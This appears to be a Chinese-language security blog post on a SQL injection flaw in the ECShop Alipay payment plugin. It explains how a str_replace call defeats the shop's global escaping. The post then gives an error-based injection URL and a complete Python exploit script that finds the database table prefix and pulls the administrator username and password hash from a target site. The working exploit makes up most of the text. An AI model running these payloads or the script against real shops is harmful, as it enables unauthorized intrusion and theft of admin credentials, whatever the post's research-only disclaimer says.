Ecshop支付寶插件SQL注入及漏洞利用(exp)



0x00

在\includes\modules\payment\alipay.php文件中,有一個response函數用來處理支付信息,在ECSHOP的init初始化文件中,默認是做了全局轉義的,而這個漏洞的精髓在於繞過全局轉義。

 

在$order_sn = str_replace($_GET['subject'], '', $_GET['out_trade_no']);  中,使用str_replace函數對$_GET[out_trade_no]中的內容進行替換,替換內容和原字符串都是可控的,所以我們就可以將$_GET[out_trade_no]中的反斜槓做替換,從而繞過單引號。

最終$order_sn變量被帶入check_money()函數,跟進check_money():

 

這裏看到,$order_sn被帶入了數據庫進行查詢,造成了注入漏洞。

0x01

EXP:

127.0.0.1/ecshop/upload/respond.php?code=alipay&subject=0&out_trade_no=%00' and (select * from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)b)%23

打印出SQL語句:

SELECT order_amount FROM `ecshop1`.`ecs_pay_log` WHERE log_id = '\\' and (select * from (select count(*),concat(floor(rand()*2),(select concat(user_name,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)b)#'

注意到,$log_id變量(也就是$order_sn)變成了\\ ,這是因爲提交的out_trade_no經過轉義變成了\0\ ,通過控制subject變量(0),帶入函數str_replace中變成了:

str_replace(0,’’,\0\)

通過函數的替換,最終$order_sn就變成了\\,從而繞過了單引號轉義。

測試結果:

 

0x02

相應的Exp如下。在調試這個exp的時候出現了很多問題,比如Ecshop中使用報錯注入很多次才能爆出結果,需要設置重試次數才行,另外,很多網站是改了Ecshop默認的表前綴的,在爆出admin信息之前必須要先把表前綴搞定,廢話不多說,直接貼代碼了(代碼有一定的攻擊性,僅供安全研究與交流,請勿用於非法用途)

 

#coding=utf-8
'''Powered By Exploit
Ecshop支付寶插件注入漏洞:
/includes/modules/payment/alipay.php
'''
import requests
import urllib
import sys
import re
class EcshopAlipayAttacker():

	'''
	獲取標準url
	@param url 需要轉化的url
	'''
	def get_standard_url(self,data,url):

		if url.count("http") != 0:
			if url[-1] == '/':  #http://www.xxoo.com/
				url = "%s%s" % (url,urllib.quote(data,"?@`[]*,+()/'&=!_%"))
			else:   #http://www.xxoo.com
				url = "%s/%s" % (url,urllib.quote(data,"?@`[]*,+()/'&=!_%"))
		else: 
			if url[-1] ==  '/':  #www.xxoo.com/club/
				url = "http://%s%s" % (url,urllib.quote(data,"?@`[]*,+()/'&=!_%"))
			else:   #www.xxoo.com/club
				url = "http://%s/%s" % (url,urllib.quote(data,"?@`[]*,+()/'&=!_%"))
		return url


	'''
	獲取表前綴
	@param url 目標主機的url
	'''
	def get_table_pre(self,url):
		data = "respond.php?code=alipay&subject=0&out_trade_no=%00' and (select * from (select count(*),concat(floor(rand(0)*2),(select concat(table_name) from information_schema.tables where table_schema=database() limit 1))a from information_schema.tables group by a)b)%23"
		url = self.get_standard_url(data,url)
		retry_count = 5  #重試5次
		pattern = re.compile(r"Duplicate entry '[0,1]?(.+?)[0,1]?'")

		while retry_count:
			try:	
				r = requests.get(url)
				ret = pattern.findall(r.content)
			except Exception, e:
				print e
				continue
			if ret != []:
				if ret[0].count('ecs') != 0: 
					return 'ecs'
				else:
					return ret[0][0:ret[0].index('_')]  
			else:
				retry_count -= 1
				continue
		return None

	'''
	注入攻擊代碼
	@param url 目標主機的url
	@param count 爆數據的參數,default=0
	@param table_pre 數據庫表前綴
	'''
	def respond_exploit(self,url,count=0,table_pre='ecs'):
	
		table_pre = self.get_table_pre(url)
		if table_pre is None:
			return None  
		data = "respond.php?code=alipay&subject=0&out_trade_no=%00' and (select * from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from {table_pre}_admin_user limit 1))a from information_schema.tables group by a)b)%23".format(table_pre=table_pre)
		url = self.get_standard_url(data,url)

		retry_count = 5  
		pattern = re.compile(r"Duplicate entry '[1,0]?(.+?)[1,0]?'")
		while retry_count:
			r = requests.get(url)
			ret = pattern.findall(r.content)
			if ret != []:
				break
			else:
				retry_count -= 1
				continue
		return ret


if __name__ == '__main__':
	attacker = EcshopAlipayAttacker()
	#---------------測試用(均有漏洞)-----------------
	url = <a target=_blank href="http://www.target.com">http://www.target.com</a>
	#--------------------------------------------------
	infos = attacker.respond_exploit(url)
	if infos is None:
		print 'This website may be not vulnerable'
	else:
		print 'Exploit Success!\ninfos:{infos}'.format(infos=infos)

 

 

 

 


 

 

 


 

 

 

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章